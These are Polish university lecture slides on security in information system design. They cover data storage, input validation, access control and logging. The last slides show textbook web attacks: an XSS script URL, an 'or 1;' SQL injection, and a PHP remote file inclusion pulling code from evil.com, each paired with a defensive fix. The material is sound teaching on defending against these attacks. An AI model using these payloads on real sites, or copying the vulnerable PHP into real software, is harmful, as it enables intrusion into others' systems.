Projektowani Systemów Inf. Wykład VII Bezpieczeństwo Copyrights by Arkadiusz Rzucidło 1
Bezpieczeństwo Bezpieczeństwo związane z danymi Konstrukcja magazynów danych Mechanizmy zapisu i modyfikacji danych Bezpieczeństwo związane z przetwarzaniem Konstrukcja interfejsu użytkownika Proces weryfikacji i analizy wprowadzanych danych Organizacja uprawnieniami w systemie Bezpieczeństwo związane z technologią Koncepcja systemu Użyte technologie Copyrights by Arkadiusz Rzucidło 2
Konstrukcja magazynów danych Konstrukcja struktury magazynów danych Podział danych w tabelach Ustalenie związków między danymi w tabelach Ustalenie zależności integralności Dobór atrybutów dla encji Dobór typów danych dla poszczególnych atrybutów Dostęp do bazy danych Posiadający wszystkie prawa do danych Z ograniczonymi uprawnieniami do danych Copyrights by Arkadiusz Rzucidło 3
Konstrukcja interfejsu użytkownika Konstrukcja interfejsu Rozmieszczenie formantów w formularzach Dobór odpowiednich typów formantów dla danych Maski wprowadzania danych Format prezentacji danych Ograniczenie ilości informacji tylko do niezbędnych Scenariusz wprowadzania danych Zachowanie integralności danych i spójności magazynów Potwierdzenia operacji na danych Pomoc i podpowiedzi podczas edycji danych Copyrights by Arkadiusz Rzucidło 4
Mechanizmy analizy wprowadzanych danych Funkcje weryfikujące poprawność danych Mechanizmy sprawdzające poprawności wprowadzanych danych Informacja właściwa dla typu danych pola Zgodność merytoryczna Ograniczona możliwość weryfikacji Typ formantów: pola wyboru, pola kombi, pola listy Mechanizmy usuwające zbędne znaki sterujące lub spacje Reakcja na pojawiając się błędy wynikające z niepoprawnie wypełnionych pól danych Potwierdzanie wykonania lub zaniechania wykonania operacji na danych Użytkownik nie widzi co dzieje się w bazie danych Copyrights by Arkadiusz Rzucidło 5
Proces przetwarzania Funkcje i procedury Budowa aplikacji bazującej na funkcjach pozwala w prostszy sposób panować nad procesem przetwarzania Rodzaj przetwarzanie danych U klienta komunikacja na zasadzie synchronizacji połączenia komutowane Na serwerze komunikacja on-line Reakcja na błędy Znane, określone i przewidziane Nieokreślone W etapie projektowania Wynikające z błędnych założeń Wynikające z błędnie interpretowanych danych (np. dziel. przez 0) Copyrights by Arkadiusz Rzucidło 6
Proces zapisu danych Hierarchizacja danych Dane zwykłe chronione w ograniczonym zakresie Dane wrażliwe z ograniczonym dostępem Dane szczególnie wrażliwe ściśle tajne specjalne mechanizmy ochrony danych Szyfrowanie Specjalne procedury logowania (np. hasła jednorazowe) Zapis i modyfikacja danych zgodnie z regułami integralności danych Dane słownikowe; Wiązanie danych w transakcje Zapis i modyfikacja danych zgodnie z posiadanymi uprawnieniami Mechanizmy transakcji ochrona danych Copyrights by Arkadiusz Rzucidło 7
Interpretacja zmiennych Przekazywanie parametrów przetwarzania przez kolejne elementy scenariusza aplikacji Zastosowanie zmiennych sesji Zastosowanie funkcji sprawdzania zgodności parametrów ze zbiorem dostępnych Działania domyślne Reakcja na wystąpienie błędu Copyrights by Arkadiusz Rzucidło 8
Hierarchizacja praw dostępu do systemu Procedury i funkcje pobierania danych z baz danych Właściwe planowanie kontami w systemie Identyfikatory i hasła dostępu do systemu Hierarchia i typy kont Konto publiczne Autoryzowani użytkownicy Administratorzy Mechanizmy uwierzytelniania użytkowników systemu Dostęp publiczny Dostęp autoryzowany Sesje Hasła Rejestracja obecności użytkowników w systemie i prób wtargnięcia przez intuzów Copyrights by Arkadiusz Rzucidło 9
Pomysł na system Subiektywne pojmowanie procesu przetwarzania danych Błędy w istniejącym procesie przetwarzania Błędy w koncepcji nowy system Dobór technologii dla opracowania systemu Systemy stacjonarne i rozproszone Systemy autonomiczne i modułowe Współpraca z innymi systemami System jest tak bezpieczny jak bezpieczny jest jego najsłabsze ogniwo Mechanizmy rejestrowania zdarzeń Opracowanie dzienników zdarzeń Wykrywanie nieautoryzowanych działań Reakcja na incydenty System powiadamiania o incydentach Copyrights by Arkadiusz Rzucidło 10
Słabych stron technologii Związane z mechanizmami serwerów np. WWW Organizacja danymi (Access, MySQL) Niedomagania i znane błędy technologii właściwej dla interfejsu systemu Copyrights by Arkadiusz Rzucidło 11
Przemycenie skryptu XSS Cross Site Scripting polega na przemyceniu kodu JavaScript VBScript do przeglądarki użytkownika odwiedzającego stronę i ujawnienie np. danych cookie Zapobieganie polega na filtrowaniu zmiennych przekazywanych przez użytkownika do każdego skryptu tak, aby uniemożliwić przesłanie kodu HTML <?php echo $zmienna;?> http://www.host.com/skrypt.php?zmienna=<script>alert( coś złego ) ;</script> Po wywołaniu kodu przeglądarka użytkownika wykona załączony fragment kodu co spowoduje otwarcie okienka z napisem coś złego <?php echo strip_tags($zmienna);?> Copyrights by Arkadiusz Rzucidło 12
Przemycenie części zapytania SQL SQL Injection dotyczą aplikacji korzystających z baz danych i przyjmują dane wejściowe od użytkownika. Polegają na możliwości przemycenia części zapytania SQL jako argumentu do innego zapytania SQL Zapobieganie filtrowanie zmiennych addslashes() <?php mysql_query( Select * from tabela where id= $zmienna );?> http://www.host.com/skrypt.php?zmienna= or 1; Może spowodować wyświetlenie wszystkich wierszy z bazy <?php $zmienna_ok = addslashes($zmienna); mysql_query( Select * from tabela where id= $zmienna_ok );?> Copyrights by Arkadiusz Rzucidło 13
Niebezpieczne funkcje PHP zezwala np. na otwieranie zdalnego pliku, co w wielu przypadkach może stanowić ogromne zagrożenie dla bezpieczeństwa <?php include $file.php ;?> Fragment powyższy pozwoli na otwarcie nie tylko lokalnego pliku.php ale także na otwarcie pliku zdalnego http://www.host.com/skrypt.php?file=http://www.evil.com/evil W takim przypadku kod z podanego adresu zostanie wykonany na serwerze Duża część zagrożeń może zostać zniwelowana przez włączenie safe_mode Copyrights by Arkadiusz Rzucidło 14
Koniec Źródła: L.Welling, L.Thomson; PHP i MySQL. Tworzenie stron WWW, Helion 2002. Copyrights by Arkadiusz Rzucidło 15